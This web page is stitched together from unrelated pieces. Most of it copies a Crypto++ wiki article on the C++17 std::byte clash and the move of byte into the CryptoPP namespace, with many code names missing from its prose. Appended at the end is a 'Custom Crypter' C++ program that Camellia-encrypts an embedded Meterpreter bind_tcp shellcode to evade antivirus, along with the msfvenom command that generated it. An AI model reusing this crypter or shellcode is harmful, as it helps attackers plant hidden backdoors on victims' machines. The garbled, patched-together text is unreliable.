Secbyteblock Assignment

C++17 added in 2016 by way of P0298R0, A byte type definition. The Crypto++ library also provides a in the global namespace. Additionally, Windows provides a in their Windows Kit. Compile problems can arise under certain conditions when the language's byte or Windows' byte collides with the library's byte. A secondary problem for the library is, the language's byte is not semantically equivalent to the library's byte.

The incompatibilities introduced by C++17 were design choices, like ensuring a was neither a character type or integer type, and only bit operations are allowed on it. Generally speaking, they were good design choices that intersected badly with some libraries and programs. Not all libraries were affected. For example, Jack Lloyd's Botan uses rather than a byte, so there was no clash of the types.

Romain Geissler performed the early testing and made a couple of pull requests to reconcile the issues with the library and user programs when using C++17 and were in effect and symbols were placed in the global namespace; see PR 438, Use ::byte instead of byte. This page will discuss how and why the Crypto++ library was modified to minimize user discomfort when using both C++17 and the Crypto++ library. Uri Blumenthal, Romain Geissler, Marcel Raad and Jeffrey Walton worked on finding the change that caused the least amount of pain.

We opened Issue 442, Test C++17 byte change with dry runs from various projects to document the changes and estimate the impact on dependent projects. In Issue 442, we called for testers based on GitHub projects with activity in 2016 and 2017. We also performed the fix on several open source projects so we could witness the pain points first hand.

If you need to setup a rig to test the changes below, then Fedora 26 ships with GCC 7.1. You can also find GCC 7 in Debian 10/Buster (Debian 9 with Testing repo enabled). For Debian, you must . Its not clear which version of the Microsoft compilers support C++17 and .

The change detailed below occurred at Crypto++ 6.0 because it broke ABI compatibility. The check-in occurred at 00f9818b5d8e.

The Problem

The C++17 language provides a . Crypto++ also provides a and its in the global namespace. The situation gives rise to at least two problems. The first problem is a collision of symbols under some circumstances. The second is, C++17 is not semantically equivalent to the library's type.

Symbol collision

The first problem arises when and Crypto++ clash. It can happen, for example, if the namespace is dumped into the global namespace (the below). It can also happen when Windows SDK and Kits are used in a program. It was first reported by Romain Geissler; see PR 437, Fix C++17 build and PR 438, Use ::byte instead of byte.

using namespace std; int main(int argc, char* argv[]) { // Ambiguous: is it std::byte or Crypto++ byte? byte block[16]; ... }

The Crypto++ has been around since the early 1990s. Its presence predates C++ namespaces by about 5 years. When C++ added namespaces around 1998, all Crypto++ symbols were added to the namespace. However, remained in the global namespace.

The decision to leave in the global namespace was documented in code comments, and probably had something to do with Microsoft platforms, early C++ compilers and name lookups (from ):

// put in global namespace to avoid ambiguity with other byte typedefs typedef unsigned char byte;

Semantic equivalence

A secondary problem is, the C++ is not semantically equivalent to the Crypto++ . For example, the following code will not compile using . Similar code would compile using the Crypto++ , including integral operations like addition.

$ cat -n byte.cxx 1 #include <cstddef> 2 3 int main(int argc, char* argv[]) 4 { 5 std::byte b1{0x00}; 6 7 std::byte b2 = {0x00}; 8 9 std::byte b3{0x00}; b3 |= 0xAA; 10 11 std::byte b4{0x00}; b4 += 0xAA; 12 13 return 0; 14 }

Attempting to compile it results in:

$ g++ -std=c++17 byte.cxx -o test.exe byte.cxx: In function ‘int main(int, char**)’: byte.cxx:7:23: error: cannot convert ‘int’ to ‘std::byte’ in initialization std::byte b2 = {0x00}; ^ byte.cxx:9:26: error: no match for ‘operator|=’ (operand types are ‘std::byte’ and ‘int’) std::byte b3{0x00}; b3 |= 0xAA; ~~~^~~~~~~ In file included from byte.cxx:1:0: /usr/include/c++/7/cstddef:136:3: note: candidate: constexpr std::byte& std::operator|=(std::byte&, std::byte) operator|=(byte& __l, byte __r) noexcept ^~~~~~~~ /usr/include/c++/7/cstddef:136:3: note: no known conversion for argument 2 from ‘int’ to ‘std::byte’ byte.cxx:11:26: error: no match for ‘operator+=’ (operand types are ‘std::byte’ and ‘int’) std::byte b4{0x00}; b4 += 0xAA; ~~~^~~~~~~

The Decision

The compromise to accommodate C++17 was move the Crypto++ from the global namespace into the namespace. The change occurred at check-in 00f9818b5d8e and it will be available in Crypto++ 6.0. The library's change addresses the root cause, but it could cause issues in some user programs.

Fortunately, the issues in user programs is easily addressable in many instances. A user program can simply add to a common header, like , and the previous balance is restored. See Fixing Programs below for more alternatives.

Root Cause

Placing symbols in other namespaces was the root cause of the problem. More precisely, the library adding type to the global namespace. From the C++ engineering perspective, the library's always belonged at .

Prior to the clash, we were mostly OK with supplying a in the global namespace for convenience. It played well with Microsoft's which was also placed in the global namespace. However the C++17 changes showed how fragile adding symbols in a namespace other than our own could be.

Alternatives

While studying the issue and contemplating changes, the library had several alternatives to choose from. They included the following.

  1. Do nothing. Let users figure it out.
  2. Leave , and scope function parameters with . This is Geissler's patch.
  3. Remove . Avoid collisions in library, let users figure out the rest.
  4. Add . Avoid collisions in library.
  5. Add function overloads. Accept in addition to .
  6. Use . Cast to for copy and assignment. Cast to integral for non-bitops.
  7. Leave , add . Avoid collisions in library, let users figure out the rest.

Geissler's patch scoped all uses of in the library. It was a good, intermediate solution to the issue under C++17. However, the patch was effectively treating the symptom and not the underlying problem. The underlying problem was the library adding symbols in a namespace other than its own. Ultimately we chose to address the underlying problem.

Fixing Programs

Some user programs which link to the Crypto++ library will need to be fixed. There are several ways a user program can be fixed and some of the alternatives are listed below. Allowing users to make a choice is important because the library does not want to make policy decisions that bind user programs. We apologize for forcing other projects into action over this.

The work-arounds listed below are in random order, and do not indicate an order of preference. We expect Supply byte definition to be an expedient fix, but it may not be a good long term fix. It may not be a good long term fix because the program is doing what got the library into trouble.

Use SecByteBlock

Some uses of the former unscoped are a little fast and loose because sensitive information was not zeroized, and a should have been used. If the data is sensitive, then consider switching to a . has both a and , so it can be used almost everywhere you are using a byte array.

int main(int argc, char* argv[]) { // formerly byte block[16]; CryptoPP::SecByteBlock block(16); CryptoPP::OS_GenerateRandomBlock(false, block.begin(), block.size()); ... }

Use Crypto++ byte

If you don't handle sensitive information and you want to use the library's , then is available as shown below.

int main(int argc, char* argv[]) { // formerly byte block[16]; CryptoPP::byte block[16]; CryptoPP::OS_GenerateRandomBlock(false, block, sizeof(block)); ... }

In fact, Crypto++ used a similar strategy for because Microsoft Windows Kits provide a in the global namespace that creates the ambiguous symbol. Also see Issue 447, Windows and "error C2872: 'byte' : ambiguous symbol" and Commit 00e133745663.

Use <stdint.h> uint8_t

You can simply use in your programs. Some libraries, like Botan, side stepped the problem by using .

$ cat test.cxx #include "cryptlib.h" #include "osrng.h" #include "hex.h" #include <iostream> #include <cstdint> int main(int argc, char* argv[]) { using namespace CryptoPP; AutoSeededRandomPool prng; uint8_t key[32]; prng.GenerateBlock(key, sizeof(key)); std::cout << "Key: "; StringSource(key, 32, true, new HexEncoder(new FileSink(std::cout))); std::cout << std::endl; return 0; }

Supply byte definition

A user program supplying its own definition for a is probably the easiest solution to fill the void created by removing from the global namespace. It gets you back to where things were before the library made its change, and allows you to deal with declarations like how you see fit.

typedef unsigned char byte; int main(int argc, char* argv[]) { byte block[16]; CryptoPP::OS_GenerateRandomBlock(false, block, sizeof(block)); ... }

The library used for Kalyna's anonymous namespace at check-in fe637956388f8dd6. The change insulated Kalyna from related changes in outer scopes. It also means Kalyna's code has access to at least two definitions of a . The first at or , and the second at .

When we were investigating the impact of the change, we also examined popular projects like Pycryptopp. Pycryptopp needed the added to three source file just like Kalyna (and Pycryptopp did not need it for all project files). Also see Pull Request 43 on the Pycryptopp GitHub.

You can get fancier, if desired. In the code below, an unscoped alias is created with if Crypto++ is 6.0 or later and C++11 or later are available. Otherwise, the user program simply provides its own compatible definition of a in the global namespace.

#include <cryptopp/config.h> #if (CRYPTOPP_VERSION >= 600) && (__cplusplus >= 201103L) using byte = CryptoPP::byte; #else typedef unsigned char byte; #endif int main(int argc, char* argv[]) { byte block[16]; CryptoPP::OS_GenerateRandomBlock(false, block, sizeof(block)); ... }

Scope use of byte

Romain Geissler's patch scoped all uses of in the library. It was a good, intermediate solution to the issue under C++17. Geissler's patch also had the benefit of enduring . However, the patch does not treat the underlying problem of adding symbols in a namespace other than the library's namespace.

You can find the patch at Pull Request 438, Use ::byte instead of byte. Below is an example of the change in signature for a library function. A similar change occurred in every library source file which used .

Former, unscoped byte:

namespace CryptoPP { OS_GenerateRandomBlock(bool blocking, byte* output, size_t size); };

Patched, scoped byte:

namespace CryptoPP { OS_GenerateRandomBlock(bool blocking, ::byte* output, size_t size); };

using namespace X

By far, is one of the most criticized statements in a program during review. As early as 2000 Herb Sutter advised against it at Migrating to Namespaces. In the context of Crypto++, falls into the same category. User programs should not do it. With that said, we understand it shows up in some user programs.

The Crypto++ project slowly changed the library to follow Sutter's advice. The change for the library was minimal because most uses of were limited to several source files ( files) in its test framework (, , , , etc). The last library check-in for the goal occurred at 80c4033baf09.

Sutter's advice and the collision mean user programs should change:

using namespace std; int main(int argc, char* argv[]) { cout << "Hello World" << endl; ... }

To:

int main(int argc, char* argv[]) { std::cout << "Hello World" << std::endl; ... }

Or:

int main(int argc, char* argv[]) { using std::cout; using std::endl; cout << "Hello World" << endl; ... }

Investigation

Before providing the check-in at 00f9818b5d8e, several alternatives were tested to see how well they integrated and how much discomfort they could cause a typical user program. Testing occurred on Fedora 26 with GCC 7.1 and the compiler option. The baseline user program is shown below and its written according to Herb Sutter's recommendations in Migrating to Namespaces, and includes:

  • avoid directives entirely, especially in header files
  • never write namespace using declarations in header files
  • user code should prefix all standard library names with

Internally, the Crypto++ library does not violate Sutter's rules in header files. The Crypto++ test program and source files, like , do use , however.

$ cat test.cxx #include "cryptlib.h" #include "secblock.h" #include "osrng.h" #include "files.h" #include "hex.h" #include <iostream> #include <cstddef> void GenerateBlock(byte* block, size_t size) { CryptoPP::OS_GenerateRandomBlock(false, block, size); } int main(int argc, char* argv[]) { CryptoPP::HexEncoder encoder(new CryptoPP::FileSink(std::cout)); CryptoPP::SecByteBlock block1(16); std::byte block2[16]; GenerateBlock(block1, block1.size()); GenerateBlock(reinterpret_cast<byte*>(block2), sizeof(block2)); std::cout << "Block 1: "; encoder.Put(block1, block1.size()); encoder.MessageEnd(); std::cout << std::endl; std::cout << "Block 2: "; encoder.Put(reinterpret_cast<const byte*>(block2), sizeof(block2)); encoder.MessageEnd(); std::cout << std::endl; return 0; }

Variations of the program were tested with statements. They were:

  • Crypto++ in global namespace
  • and

using byte = std::byte

The first attempt to uptake was a in the library. The attempt failed miserably because the library treats as an integral type and performs both bit and math operations on them. The library's use of is incompatible with the standard.

Below is an example of the failure introduced by from .

In file included from cryptlib.cpp:19:0: misc.h: In function ‘void CryptoPP::IncrementCounterByOne(byte*, unsigned int)’: misc.h:1118:12: error: no match for ‘operator++’ (operand type is ‘byte {aka std::byte}’) carry = !++inout[i]; ^~~~~~~~~~ misc.h: In function ‘void CryptoPP::IncrementCounterByOne(byte*, const byte*, unsigned int)’: misc.h:1134:33: error: no match for ‘operator+’ (operand types are ‘const byte {aka const std::byte}’ and ‘int’) carry = ((output[i] = input[i]+1) == 0); ~~~~~~~~^~ misc.h: In function ‘byte CryptoPP::BitReverse(byte)’: misc.h:1847:22: error: no match for ‘operator&’ (operand types are ‘byte {aka std::byte}’ and ‘int’) value = byte((value & 0xAA) >> 1) | byte((value & 0x55) << 1); ~~~~~~^~~~~~ ...

CryptoPP::byte

Moving into the namespace produced initial errors due to use of anonymous namespaces. For example:

g++ -DNDEBUG -g2 -O3 -std=c++17 -Wall -Wextra -fPIC -march=native -pipe -c kalynatab.cpp kalyna.cpp: In function ‘void {anonymous}::MakeOddKey(const word64*, CryptoPP::word64*)’: kalyna.cpp:76:11: error: ‘byte’ does not name a type const byte* even = reinterpret_cast<const byte*>(evenkey); ^~~~ kalyna.cpp:77:5: error: ‘byte’ was not declared in this scope byte* odd = reinterpret_cast<byte*>(oddkey); ^~~~ ...

Once the source files were cleaned up at Cpmmit fe637956388f8dd6 the library files compiled as expected. User programs experienced the expected messages due to the namespace change.

using CryptoPP::byte

is a natural continuation of moving to for user programs. Unfortunately produced the error below due to and . In fact, made the problem worse because it introduced a third symbol into the name lookup by way of an alias.

test.cxx: In function ‘int main(int, char**)’: test.cxx:27:3: error: reference to ‘byte’ is ambiguous byte block3[16]; ^~~~ test.cxx:12:28: note: candidates are: using byte = CryptoPP::byte using byte = CryptoPP::byte; ^ In file included from stdcpp.h:48:0, from cryptlib.h:97, from test.cxx:1: /usr/include/c++/7/cstddef:64:14: note: enum class std::byte enum class byte : unsigned char {}; ^~~~

A twist on Windows with a Windows Kit installed is:

1> test.cpp 1>test.cpp(159): error C2872: 'byte' : ambiguous symbol 1> could be 'c:\program files (x86)\windows kits\8.0\include\shared\rpcndr.h(164) : unsigned char byte' 1> or 'c:\users\cryptopp\config.h(203) : CryptoPP::byte'

According to StoryTeller on Stack Overflow at byte and ambiguous symbol due to using declarations?:

A using declaration (as opposed to a type alias) will not resolve the issue [of ambiguous symbols]. Both identifiers will be visible to unqualified name lookup. Neither is defined in the enclosing declarative region.

Function Overloads

A potential path to avoid user casting when passing a to a function that expected a or was to provide overloads in key classes. For example, in class :

class BufferedTransformation : public Algorithm, public Waitable { public: virtual ~BufferedTransformation() {} ... size_t Put(const byte *inString, size_t length, bool blocking=true) {return Put2(inString, length, 0, blocking);} #if CRYPTOPP_CXX17 size_t Put(const std::byte *inString, size_t length, bool blocking=true) {return Put2(reinterpret_cast<const byte*>(inString), length, 0, blocking);} #endif ... };

This made it somewhat easier for user code to use both and by moving casts into the library, but it was an incomplete remediation as some overloads were missing. Additionally, there was no way to overload some functions, like those where the is a return value. For example, .

Finally, the conditional compilation in the header leaves something to be desired. We don't want users to witness hacks that may or may not be present. We would prefer they be hidden away in a source file and forgotten about once compilation of the library completed.

using namespace std

The code that caused the most problems during testing was user code with . While Sutter strongly discourages it, we expect it to show up in a fair number of places in user code. This is also the impetus for Romain-Geissler's Pull Request 438.

When was present in user code, one of the better decisions for the library was to move into the namespace. The test code was changed as follows.

$ cat test.cxx #include "cryptlib.h" #include "secblock.h" #include "osrng.h" #include "files.h" #include "hex.h" #include <iostream> #include <cstddef> using namespace std; void GenerateBlock(CryptoPP::byte* block, size_t size) { CryptoPP::OS_GenerateRandomBlock(false, block, size); } int main(int argc, char* argv[]) { CryptoPP::HexEncoder encoder(new CryptoPP::FileSink(std::cout)); CryptoPP::SecByteBlock block1(16); std::byte block2[16]; GenerateBlock(block1, block1.size()); GenerateBlock(reinterpret_cast<CryptoPP::byte*>(block2), sizeof(block2)); std::cout << "Block 1: "; encoder.Put(block1, block1.size()); encoder.MessageEnd(); std::cout << std::endl; std::cout << "Block 2: "; encoder.Put(reinterpret_cast<const CryptoPP::byte*>(block2), sizeof(block2)); encoder.MessageEnd(); std::cout << std::endl; return 0; }

The code in could avoid the extra casts by overloading the exemplary :

// Original void GenerateBlock(CryptoPP::byte* block, size_t size) { CryptoPP::OS_GenerateRandomBlock(false, block, size); } // Overload void GenerateBlock(std::byte* block, size_t size) { CryptoPP::OS_GenerateRandomBlock(false, reinterpret_cast<CryptoPP::byte*>(block), size); }

/*

* Title:    Custom Crypter (crypter.cpp)

* Platform: Linux/x86

* Date:     2015-04-28

* Author:   Julien Ahrens (@MrTuxracer)

* Website:  http://www.rcesecurity.com

* Based on: https://www.cryptopp.com/wiki/Camellia

*

* Instructions:

* Compile using (on x64):

* g++ -I/usr/include/cryptopp crypter.cpp -o crypter -lcryptopp -m32

*/

 

#include "osrng.h"

usingCryptoPP::AutoSeededRandomPool;

 

#include <iostream>

usingstd::cout;

usingstd::cerr;

usingstd::endl;

 

#include <string>

usingstd::string;

 

#include <cstdlib>

usingstd::exit;

 

#include "cryptlib.h"

usingCryptoPP::Exception;

 

#include "hex.h"

usingCryptoPP::HexEncoder;

 

#include "filters.h"

usingCryptoPP::StringSink;

usingCryptoPP::StringSource;

usingCryptoPP::StreamTransformationFilter;

 

#include "camellia.h"

usingCryptoPP::Camellia;

 

#include "modes.h"

usingCryptoPP::CBC_Mode;

 

#include "secblock.h"

usingCryptoPP::SecByteBlock;

 

/*

* Set the the payload! Key and IV will be generated randomly

* Make sure the payload is free of NULL bytes, otherwise the crypter will break

*

* Example payload:

* msfvenom -e x86/shikata_ga_nai -i 5 -p linux/x86/meterpreter/bind_tcp LPORT=1337 R | hexdump -v -e '"\\\x" 1/1 "%02x"'

*/

stringpayload="\xb8\xbe\x32\x43\x9c\xdb\xc5\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x37\x83\xea\xfc\x31\x42\x10\x03\x42\x10\x5c\xc7\x9a\x70\x18\x01\xb2\xc5\x6e\x8b\xb8\xf1\x7a\x70\x68\x33\x33\xb7\x5b\x80\x29\xbb\xd8\x1c\xce\x78\xda\xc2\x0c\x6b\xf3\xad\x58\xe8\x80\xb6\x71\xe4\xc0\xd5\xc8\xdb\x61\x1b\x39\x78\xcc\x59\x6f\x72\x10\xde\x17\x17\x58\x7b\x91\x2d\xbc\x3e\xd8\x90\xf5\x81\xc4\x0f\x78\x1c\x34\xc3\x1f\x86\x93\xdb\x7e\x9c\xf7\xc4\x02\x26\xea\xf2\xd6\x13\x57\x60\x48\xab\xf5\x29\xc9\x4a\x0d\x32\xb2\x60\x83\x7c\xf6\x48\xa5\x72\x0f\x47\xf0\xb6\xeb\xad\x9e\xd8\x02\x56\xcc\x71\x13\x26\x6d\x80\xd8\xbb\xe0\x05\x2b\xe0\xbd\x53\xf5\x65\x7c\xb5\x44\x11\x1e\xe5\x3d\xcb\x3e\x16\xcb\xe9\xca\xa4\x2e\x1e\x27\xda\x5b\xe0\x31\x91\x06\x34\xb4\xa7\x4e\xe9\x91\xf9\xae\x76\x9a\xb7\xd6\x0a\x1e\x33\x88\xe8\xf9\x23\x89\x5e\x34\x99\x64\x58\xfa\xce\x97\xa3\x8b\xff\x2a\xeb\xdc\xd7\xa1\x18\x1d\xb9\x2a\xce\x9f\x02\xc6\x77\x77\xb1\x2a\x49\x9f\xb1\xe3\x09\x07\xcc\x36\x53\x0e\xfc\x58\x5a\xd7\x08\x0a\xa4\x62\x8e\x45\x30";

 

/*

* Function to encode strings using CryptoPP's HexEncoder to a StringSink

* input("decoded") is encoded to output("encoded")

* pumpAll is set to true to get the whole data at once

*/

stringencode(unsignedchar*decoded,intsize)

{

stringencoded;  

StringSource(decoded,size,true,

newHexEncoder(

newStringSink(encoded)

)

);

returnencoded;

}

 

intmain(intargc,char*argv[]){

// Init pseudo random number generator

AutoSeededRandomPool prng;

 

// Generate key with 32 bytes

SecByteBlock key(Camellia::MAX_KEYLENGTH);

prng.GenerateBlock(key,key.size());

// Dump key

cout<<"Key: "<<encode(key,key.size())<<endl;

 

// Generate IV with 16 bytes

byteiv[Camellia::BLOCKSIZE];

prng.GenerateBlock(iv,sizeof(iv));

// Dump iv

cout<<"IV: "<<encode(iv,sizeof(iv))<<endl;

    /*

     * Start encryption

    */    

    try

{

// Cipher will contain the encrypted payload later

stringcipher;

// Use Camellia with CBC mode

CBC_Mode<Camellia>::Encryptione;

// Initialize encryption parameters key and iv

e.SetKeyWithIV(key,key.size(),iv);

 

// The StreamTransformationFilter adds padding

// as required. ECB and CBC Mode must be padded

// to the block size of the cipher.

StringSource(payload,true,

newStreamTransformationFilter(e,

newStringSink(cipher)

)    

);

// Dump cipher text

stringencoded_cipher;

StringSource(cipher,true,

newHexEncoder(

newStringSink(encoded_cipher)

)

);

cout<<"Ciphertext: "<<encoded_cipher<<endl;

}

// Catch exceptions if they occur during encryption

catch(constCryptoPP::Exception&e)

{

cerr<<e.what()<<endl;

exit(1);

}

 

    return0;

}

0 thoughts on “Secbyteblock Assignment

Leave a Reply

Your email address will not be published. Required fields are marked *